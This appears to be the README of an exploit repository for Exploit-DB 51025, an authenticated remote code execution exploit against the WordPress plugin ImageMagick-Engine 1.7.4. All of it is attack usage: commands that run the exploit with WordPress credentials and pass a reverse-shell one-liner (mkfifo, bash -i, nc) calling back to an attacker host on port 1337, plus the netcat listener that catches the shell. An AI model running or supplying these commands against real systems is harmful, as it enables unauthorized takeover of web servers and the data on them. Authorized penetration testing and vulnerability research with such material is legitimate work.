kabir0x23 / EDB-ID-51025

Wordpress Plugin ImageMagick-Engine 1.7.4 - Remote Code Execution (RCE) (Authenticated)

EDB-ID-51025

Usages:

• python3 EDB-ID-51025.py -d http://192.168.228.143 -u wordpress -p wordpress -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.228.128 1337 >/tmp/f"

Steps: For getting Shell

• nc -nvlp 1337

• python3 EDB-ID-51025.py -d http://192.168.228.143 -u wordpress -p wordpress -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.228.128 1337 >/tmp/f"